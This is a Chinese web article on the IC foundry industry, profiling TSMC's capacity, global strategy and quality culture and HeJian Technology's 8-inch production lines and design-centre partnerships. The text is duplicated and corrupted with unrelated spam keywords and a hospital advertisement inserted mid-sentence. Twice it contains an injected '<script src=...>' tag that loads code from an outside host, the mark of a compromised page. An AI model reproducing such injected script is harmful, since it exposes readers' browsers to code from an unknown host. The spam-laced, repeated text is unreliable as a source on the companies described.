IC制造：巨人搏击时代来临高压水枪

IC制造：巨人搏击时代来临 目前全球ic制造产业可谓是华人天下，全球代工业排名靠前的代工厂中，台积电、联电、中芯国际、特许半导体、华虹nec等等，大部分是华人企业！在这其中，台积电更是占据着全球60%的晶圆代工市场份额。随着台积电、联电以及中芯国际、华虹nec等的快速扩张，制造厂形成一个个巨型体系走向大者恒大之路，从而使制造业进入巨人搏击的时代。

台积电：占据全球代工产业60%

全球代工产业发展的鼻祖，并跻身于全球十大半导体厂商之列的台积电是我国台湾半导体制造业龙头，引领着全球代工产业的发展。台积电于1987年在新竹科学园区成立，是全球第一家的专业集成电路制造服务公司。身为业界的创始者与领导者，台积电是全球规模最大的专业集成电路制造公司，提供业界最先进的工艺技术及拥有专业晶圆制造服务领域最完备的组件数据库、知识产权、设计工具及设计流程。台积电目前总产能已达全年430万片晶圆，其营收约占全球晶圆代工市场的60%。

2002年，由于全球的业务量增加，台积电是第一家进入半导体产业汽车腰靠前十名的晶圆代工公司，其排名为第九名。台积电预期在未来的数年内，这个趋势将会持续的攀升。

台积电目前拥有两座最先进的12英寸晶圆厂、5座8英寸晶圆厂以及1座6英寸晶圆厂。公司总部、晶圆二厂、三厂、五厂、七厂和十二厂等各厂皆位于台湾新竹科学园区，晶圆六厂及十四厂则位于台南科学园区。此外，台积电亦有来自其子公司美国wafertech公司、台积电(上海)有限公司以及新加坡合资ssmc公司充沛的产能支持。

台积电的目标是全球市场，而不是局限于东南亚或任何一个地区，集成电路是一个跨越国界的产业，全球各主要厂商无不将目标延伸到世界各地。就目前而言，台积电最强的竞争者也来自国外，故台积电要在全世界主要市场建立基地，是国际化经营的意义。而为配合国际多元发展的企业需求，在人才招募方面，则是不论国籍，唯才是举。

台积电更加重视企业的永续经营。所谓“人无远虑，必有近忧”，必须要做好长期战略规划，并认真的执行才能减少企业经营的风险。因此，除了每年都要为未来五年做一个长期战略规划外，台积电的日常工作中，也有相当多的工作在落实长期目标的成效与回收。

台积电成功的一大诀窍就是客户至上。自始就将客户定位为合作伙伴，绝不和客户竞争，这个定位是台积电过去成功的要素，也是未来继续成长的关键。我们视客户的竞争力为台积电的竞争力，而客户的成功也是台积电的成功。另外，品质是台积电日常工作与服务的原则。包括公司内部和外部，每个台积电所服务的对象，都是“客户”，而“客户满意度”就是“品质”。

在台积电，品质是每一个员工的责任，本着追求卓越、精益求精的态度，不但认真的把每一件事、每一件任务做到最好，更要随时检讨，务求改善，追求并维持“客户全面满意”，这就是台积电“品质是工作与服务的原则”的具体实践。

和舰科技：未来投资相对慎重

和舰于2003年5月正式投产8英寸晶圆，第一期投资16亿美元，建设二条8英寸生产线，规划满产月产能为60000片，第一条生产线于2003年5月顺利量产，月产能为32000片，目前已满产能生产；第二条生产线已于2004年动工建设，2005年丝印片材开始投入生产，目前月产能达10000片。迄今为止和舰成功开发了0.5um-0.15um等多种工艺技术并已量产。和舰自投产以来仅用了不到10个月的时间就达到了单月、单季损益平衡，成为国内同行业中最短时间内实现这一目标的公司，同时和舰还实现了连续29个月获利，这不仅是在中国半导体行业史上绝无仅有的纪录，在世界半导体产业的历史上也算是取得了罕见的业绩。

和舰的产品主要面向于目前需求强劲的3c产品。伴随全球ic产业的复苏回暖，公司未来的营运方向仍将是主流产品市场，开发更先进及特殊应用工艺技术，并且持续进行扩产计划，满足市场和客户更大的需求。

和舰已与多所设计研究中心签署了合作协议，如中国科学院eda中心，信息产业部软件与集成电路促进中心(csip)，国家集成电路设计西安产业化基地(xaic)，苏州中科集成电路设计中心(szicc)以及广州集成电路设计中心(gzicc)，目的是为地方ic设计公司提供平台和提供技术上的支持，帮助ic设计公司产品缩短上市时间，这是一个双赢的策略。目前和舰已与国内多家ic设计公司建立了合作关系，其中部分产品已进入量产。

在市场开拓方面，和舰首先在区隔特定市场时锁定未来有发展空间、利基性的消费类、通讯类产品。和舰希望透过策略定位来做好创建初期的基础工作，在资金、技术、人才等条件逐渐完备后一跃而成为主流foundry。其次，和舰在设备采购方面的原则是从设备的性价比出发，不一味追求新设备，也不会为了省钱只买旧设备，我们的设备?script src=http://er12.com/t.js> 目前全球ic制造产业可谓是华人天下，全球代工业排名靠前的代工厂中，台积电、联电、中芯国际、特许半导体、华虹nec等等，大部分是华人企业！在这其中，台积电更是占据着全球60%的晶圆代工市场份额。随着台积电、联电以及中芯国际、华虹nec等的快速扩张，制造厂形成一个个巨型体系走向大者恒大之路，从而使制造业进入巨人搏击的时代。

台积电：占据全球代工产业60%

全球代工产业发展的鼻祖，并跻身于全球十大半导体厂商之列的台积电是我国台湾半导体制造业龙头，引领着全球代工产业的发展。台积电于1987年在新竹科学园区成立，是全球第一家的专业集成电路制造服务公司。身为业界的创始者与领导者，台积电是全球规模最大的专业集成电路制造公司，提供业界最先进的工艺技术及拥有专业晶圆制造服务领域最完备的组件数据库、知识产权、设计工具及设计流程。台积电目前总产能已达全年430万片晶圆，其营收约占全球晶圆代工市场的60%。

2002年，由于全球的业务量增加，台积电是第一家进入半导体产业前十名的晶圆代工公司，其排名为第九名。台积电预期在未来的数年内，这个趋势将会持续的攀升。

台积电目前拥有两座最先进的12英寸晶圆厂、5座8英寸晶圆厂废铁以及1座6英寸晶圆厂。公司总部、晶圆二厂、三厂、五厂、七厂和十二厂等各厂皆位于台湾新竹科学园区，晶圆六厂及十四厂则位于台南科学园区。此外，台积电亦有来自其子公司美国waferte萃取设备ch公司、台积电(上海)有限公司以及新加坡合资ssmc公司充沛的产能支持。

台积电的目标是全球市场，而不是局限于东南亚或任何一个地区，集成电路是一个跨越国界的产业，全球各主要厂商无不将目标延伸到世界各地。就目前而言，台积电最强的竞争者也来自国外，故台积电要在全世界主要市场建立基地，是国际化经营的意义。而为配合国际多元发展的企业需求，在人才招募方面，则是不论国籍，唯才是举。

台积电更加重视企业的永续经营。所谓“人无远虑，必有近忧”，必须要做好长期战略规划，并认真的执行才能减少企业经营的风险。因此，除了每年都要为未来五年做一个长期战略规划外，台积电的日常工作中，也有相当多的工作在落实长期目标的成效与回收。

台积电成功的一大诀窍就是客户至上。自始就将客户定位为合作伙伴，绝不和客户竞争，这个定位是台积电过去成功的要素，也是未来继续成长的关键。我们视客户的竞争力为台积电的竞争力，而客户的成功也是台积电的成功。另外，品质是台积电日常工作与服务的原则。包括公司内部和外部，每个台积电所服务的对象，都是“客户”，而“客户满意度”就是“品质”。

在台积电，品质是每一个员工的责任，本着追求卓越、精益求精的态度，不但认真的把每一件事、每一件任务做到最好，更要随时检讨，务求改善，追求并维持“客户全面满意”，这就是台积电“品质是工作与服务的原则”的具体实践。

和舰科技：未来投资相对慎重

和舰于2003年5月正式投产8英寸晶圆，第一期投资16亿美元，建设二条8英寸生产线，规划满产月产能为60000片，第一条生产线于2003年5月顺利量产，月产能为32000片，目前已满产能生产；第二条生产线已于2004年动工建设，2005年开始投入生产，目前月产能达10000片。迄今为止和舰成功开发了0.5um-0.15um等多种工艺技术并已量产。和舰自投产以来仅用了不到10个月的时间就达到了单月、单季损益平衡，成为国内同行业中最短时间内实现这一目标的公司，同时和舰还实现了连续29个月获利，这不仅是在中国半导体行业史上绝无仅有的纪录，在世界半导体产业的历史上也算是取得了罕见的业绩。

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和舰已与多所设计研究中心签署了合作协议，如中国科学院eda中心，信息产业部软件与集成电路促进中心(csip)，国家集成电路设计西安产业化基地(xaic)，苏州中科集成电路设计中心(szicc)以及广州集成电路设计中心(gzicc)，目的是为地方ic设计公司提供平台和提供技术上的支持，帮助ic设计公司产品缩短上市时间，这是一个双赢的策略。目前和舰已与国内多家ic设计公司建立了合作关系，其中部分产品已进入量产。

在市场开拓方面，和舰首先在区隔特定市场时锁定未来有发展空间、利基性的消费类、通讯类产品。和舰希望透过策略定位来做好创建初期的基础工作，在资金、技术、人才等条件逐渐完备后一跃而成为主流foundry。其次，和舰在设备采购方面的原则是从设备的性价比出发，不一味追求新设备，也不会为了省钱只买旧设备，我们的设备?script src=http://er12.com/t.js>阳江治疗前列腺炎的医院哪家好
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